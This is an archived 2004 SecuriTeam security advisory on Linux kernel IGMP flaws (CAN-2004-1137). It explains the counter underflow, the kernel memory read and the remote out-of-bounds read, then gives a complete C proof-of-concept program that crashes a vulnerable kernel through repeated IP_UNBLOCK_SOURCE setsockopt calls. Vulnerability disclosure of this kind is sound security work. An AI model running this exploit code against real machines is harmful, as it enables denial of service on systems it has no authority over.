[UNIX] Linux Kernel IGMP Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 12/15/04

  • Next message: SecuriTeam: "[UNIX] Multiple Remote Vulnerabilities in NFS-Utils (64bit, SIGPIPE)"
    To: list@securiteam.com
    Date: 15 Dec 2004 16:45:13 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Linux Kernel IGMP Vulnerabilities
    ------------------------------------------------------------------------

    SUMMARY

    Multiple locally as well as remotely exploitable bugs have been found in
    the Linux IGMP networking module and the corresponding user API.

    DETAILS

    Vulnerable Systems:
     * Linux kernel versions 2.4 up to and including 2.4.28
     * Linux kernel versions 2.6 up to and including 2.6.9

    CVE Information:
     <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1137>
    CAN-2004-1137

    The IGMP (or Internet group management protocol) is today's standard for
    delivering multicast functionality to Internet hosts. The Linux kernel
    incorporates a base set of the IGMPv2 and IGMPv3 specifications and is
    subdivided into two logical parts:
     * The IGMP/IP networking module responsible for network level operation
    which is only compiled into the kernel if configured for multicasting

     * The socket API delivering multicasting capabilities to user level
    applications which is always available on Linux

    The ip_mc_source() function that can be called through the user API (more
    explicitly: 'IP_(UN)BLOCK_SOURCE', 'IP_ADD/DROP_SOURCE_MEMBERSHIP' as well
    as 'MCAST_(UN)BLOCK_SOURCE' and 'MCAST_JOIN/LEAVE_SOURCE_GROUP' socket
    'SOL_IP' level options) suffers from a serious kernel hang and kernel
    memory overwrite problem.

    IP_SF_SOCKLIST structure counter
    It is possible to decrement the 'sl_count' counter of the 'ip_sf_socklist'
    structure to be 0xffffffff (that is -1 as signed integer, see attached PoC
    code) with the consequence that a repeated call to the above function will
    start a kernel loop counting from 0 to UINT_MAX. This will cause a kernel
    hang for minutes (depending on the machine speed).

    Right after that the whole kernel memory following the kmalloc'ated buffer
    will be shifted by 4 bytes causing an immediate machine reboot under
    normal operating conditions. If properly exploited this will lead to
    elevated privileges.

    It is quite obvious that moving around all kernel memory following a
    kmalloc'ated buffer is a bad idea. However if done very carefully this may
    give a local attacker elevated privileges. This flaw is easier to exploit
    on an SMP machine (where one thread can interrupt the copy loop before the
    kernel gets completely destroyed).

    On uniprocessor configurations the exploit-ability is questionable since
    there is no other exit condition from the copy loop than a kernel oops if
    we hit a non existing page. If an attacker manages to trick the kernel to
    allocate the buffer just right before the end of kernel's physical memory
    mapping and also manages to place for example a LDT just after that
    buffer, exploitation will occur on a uniprocessor machine. Still, the
    easiest exploitation for this bug is to crash the running kernel.

    Kernel memory reading
    Due to the above mentioned bug under certain conditions it is possible to
    read a fairly significant amount of kernel memory through the
    ip_mc_msfget() and ip_mc_gsfget() (user API) functions.

    This issue is slightly related to the loff_t race discovered by iSEC in
    August 2004. Please refer to:
     <http://www.isec.pl/vulnerabilities/isec-0016-procleaks.txt>
    http://www.isec.pl/vulnerabilities/isec-0016-procleaks.txt

    igmp_marksources() function
    The igmp_marksources() function from the network module is called in the
    context of an IGMP group query received from the network and suffers from
    an out of bound read access to kernel memory. It happens because the
    received IGMP message's parameters are not validated properly. This flaw
    is remotely exploitable on Linux machines with multicasting support if and
    only if an application has bound a multicast socket.

    This problem is a remote kernel vulnerability. There are several
    conditions that must be meet for remote exploitation to occur:

     * The kernel has been compiled with multicasting support and is
    configured to process incoming IGMP packets. Moreover, an attacker must be
    able to send group queries (IGMP_HOST_MEMBERSHIP_QUERY messages) to the
    vulnerable machine.
     * An application running on the vulnerable machine with a bound multicast
    socket with attached source filter. There are numerous applications using
    multicasting like video conferencing or routing software, just to name
    few. The attacker must also know the IGMP group used to perform the
    attack.

    By looking at these proc entries it is possible to determine if a system
    is vulnerable to this bug:
    /proc/net/igmp
    /proc/net/mcfilter

    If both exist and are non-empty, the running kernel is vulnerable.

    Since the kernel does not validate the 'ih3->nsrcs' IGMP parameter, the
    igmp_marksources() internal kernel function may access kernel memory
    outside of the allocated socket buffer holding the IGMP message. Depending
    on the relative position of the socket buffer in the kernel memory this
    may lead to an immediate kernel crash.

    Another consequence is that the kernel will spend most of the CPU time on
    scanning useless kernel data right after the buffer if the 'nsrcs'
    parameter is very high. If a continuous flow of prepared IGMP packets is
    sent to a vulnerable machine, it may stop to process other network
    traffic. For an average machine only a moderate IGMP packet flow is
    required. This may lead to serious problems in case of routing software.

    Proof Of Concept
    /*
     * Linux igmp.c local DoS
     * Warning: this code will crash your machine!
     *
     * gcc -O2 mreqfck.c -o mreqfck
     *
     * Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
     *
     * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
     * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
     * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
     *
     */

    #include <stdio.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <linux/types.h>

    #define MCAST_INCLUDE 1
    #define IP_MSFILTER 41

    #define IP_UNBLOCK_SOURCE 37
    #define IP_BLOCK_SOURCE 38

    struct ip_msfilter
    {
        __u32 imsf_multiaddr;
        __u32 imsf_interface;
        __u32 imsf_fmode;
        __u32 imsf_numsrc;
        __u32 imsf_slist[1];
    };

    struct ip_mreq_source
    {
        __u32 imr_multiaddr;
        __u32 imr_interface;
        __u32 imr_sourceaddr;
    };

    void
    fatal (const char *message)
    {
        printf ("\n");
        if (!errno)
          {
              fprintf (stdout, "FATAL: %s\n", message);
          }
        else
          {
              fprintf (stdout, "FATAL: %s (%s) ", message,
                       (char *) (strerror (errno)));
          }
        printf ("\n");
        fflush (stdout);
        exit (1);
    }

    int
    main ()
    {
        int s, r, l;
        struct ip_mreqn mr;
        struct ip_msfilter msf;
        struct ip_mreq_source ms;
        in_addr_t a1, a2;

        s = socket (AF_INET, SOCK_DGRAM, 0);
        if (s < 0)
            fatal ("socket");

    // first join mcast group
        memset (&mr, 0, sizeof (mr));
        mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199");
        l = sizeof (mr);
        r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);
        if (r < 0)
            fatal ("setsockopt");

    // add source filter count=1
        memset (&ms, 0, sizeof (ms));
        ms.imr_multiaddr = inet_addr ("224.0.0.199");
        ms.imr_sourceaddr = inet_addr ("4.5.6.7");
        l = sizeof (ms);
        r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);
        if (r < 0)
            fatal ("setsockopt2");

    // del source filter count = 0
    // imr_multiaddr & imr_interface must correspond to ADD
        memset (&ms, 0, sizeof (ms));
        ms.imr_multiaddr = inet_addr ("224.0.0.199");
        ms.imr_sourceaddr = inet_addr ("4.5.6.7");
        l = sizeof (ms);
        r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
        if (r < 0)
            fatal ("setsockopt2");

    // del again, count = -1
        memset (&ms, 0, sizeof (ms));
        ms.imr_multiaddr = inet_addr ("224.0.0.199");
        ms.imr_sourceaddr = inet_addr ("4.5.6.7");
        l = sizeof (ms);
        r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
        if (r < 0)
            fatal ("setsockopt3");

    // crash
        memset (&ms, 0, sizeof (ms));
        ms.imr_multiaddr = inet_addr ("224.0.0.199");
        ms.imr_sourceaddr = inet_addr ("4.5.6.7");
        l = sizeof (ms);
        r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
        if (r < 0)
            fatal ("setsockopt4");

        getchar ();

        return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:ihaquer@isec.pl> Paul
    Starzetz.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Multiple Remote Vulnerabilities in NFS-Utils (64bit, SIGPIPE)"

    Relevant Pages

    • Linux kernel IGMP vulnerabilities (fwd)
      ... Synopsis: Linux kernel IGMP vulnerabilities ... Right after that the whole kernel memory following the kmalloc'ated ...
      (Linux-Kernel)
    • [NT]G DATA AntiVirus/InternetSecurity/TotalCare 2008 GDTdiIcpt.sys Memory Corruption Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The kernel driver GDTdiIcpt.sys shipped with G DATA AntiVirus/Internet ... 2007/12/01 - Vendor response ... 2007/12/17 - Status update request ...
      (Securiteam)
    • [UNIX] Linux kernel 2.2.x /proc/pid/mem mmap() Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A locally exploitable system crash vulnerability is present in the Linux ... kernel, versions 2.2.x. ... using mmap(). ...
      (Securiteam)
    • [UNIX] Linux Kernel DCCP Memory Disclosure Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Linux Kernel DCCP Memory Disclosure Vulnerability ... static int do_dccp_getsockopt(struct sock *sk, int level, int optname, ...
      (Securiteam)
    • [EXPL] Linux Kernel Crash Due To Floating Point Exception (frstor) Exploit Code
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The kernel is the most important part of the Linux operating system. ... A bug in the Linux kernel lets a simple C program to crash the kernel, ... program code will lock one CPU and this process can not be killed. ...
      (Securiteam)